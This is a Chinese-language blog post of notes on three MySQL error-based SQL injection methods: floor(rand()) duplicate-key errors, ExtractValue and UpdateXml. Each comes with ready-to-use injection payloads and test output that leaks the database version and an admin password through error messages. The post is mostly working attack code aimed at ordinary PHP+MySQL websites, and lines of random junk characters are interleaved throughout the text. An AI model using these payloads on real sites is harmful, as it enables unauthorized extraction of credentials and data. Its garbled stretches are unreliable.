关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
- C1 L$ `0 E/ u9 T/ C8 k- s. n实际测试环境：
​

mysql> show tables;
% Q( R1 ?5 B1 h2 k; p% v1 T* V9 U+----------------+
| Tables_in_test |
* a/ |1 g  Q' B- {5 b$ q+----------------+
  W0 z2 X8 [+ i( M! s/ T! \| admin          |
' h7 b' c$ e( T3 B  q| article        |
+----------------+
5 z; L1 B0 M' Z6 i: P% y  b) `) i
* ^- E0 I" p. q3 A2 _7 n
$ H- \1 L( {. P1 |! E' Y
mysql> describe admin;
6 B: j8 d  S4 e/ V- X3 F+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
7 V( B& U- T5 K  {3 B8 `* v% L7 `+-------+------------------+------+-----+---------+----------------+
- B* i5 J# m1 h) k7 Z7 A2 R( c3 D
. l' L0 o9 M2 }8 I) G) P. t
" [8 p' I- R& T, c1 Z5 F
mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
2 z9 x+ }% w" i1 D& {: R| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
, D2 U  I( G( {4 H1 t4 o6 ?| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
  j! y9 d( X" V+---------+------------------+------+-----+---------+----------------+
% y9 P* G6 p5 b  J1、通过floor报错
9 k* _: U4 S4 \0 ?可以通过如下一些利用代码

2 R- P; _$ o* Q9 |* \! ]/ r
- u6 J1 M1 T* b2 qand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
. a$ R/ r6 M: N

and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
$ K- G- e7 C% g! M举例如下：
2 w& ?  G" q; u( `/ C+ L3 ~首先进行正常查询：

. T; Q  L* z- E+ Amysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
4 l% [, D! P, V. }|  1 | test  | do it   |
+----+-------+---------+
3 O4 O1 q/ q5 g2 Y4 {; z% H假如id输入存在注入的话，可以通过如下语句进行报错。


mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
5 V1 p2 a8 ]: W* ~3 s' I1 V可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
$ v+ l* ^  f; S# |* c例如我们需要查询管理员用户名和密码：
Method1:
0 _, P. k& V, t& Q( ]' }" ~
" o; g1 v8 w, ^2 d/ Y% U
mysql> select * from article where id = 1 and (select 1 from
9 A1 D9 C% A% E, y; L(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
5 I: S0 i$ P1 c$ `% WMethod2:

* K. K3 F! {& D* ~
mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
  N) l& K( V$ N8 `% }3 o. s5 Kfloor(rand(0)*2)));
$ ]$ {0 ~* @: t+ M  rERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
! N+ K& J' m. A4 J) L( z: y& O2、ExtractValue
测试语句如下
4 Q* A1 q; y: ~9 U: l9 v# X: P8 }

- `5 `  z" k1 ~, O/ t* d* land extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
* o5 N. E/ ~' ]4 A$ p7 W0 I实际测试过程
7 o6 h3 {; u5 I
2 o8 H9 c  T* K$ c) t7 D( O' q8 M
: e' J4 F4 F( f+ d7 ~) u) T) Emysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
& |1 I: l. h- ~" r5 l, o, w/ _(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
6 @; r  m9 Z& t! c1 u测试语句
* \1 h6 p6 h! W4 W3 x6 ]

( S; S& r9 |( wand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程

, v5 V+ J- X/ r* S
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
% S; B) ?5 b7 w(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

​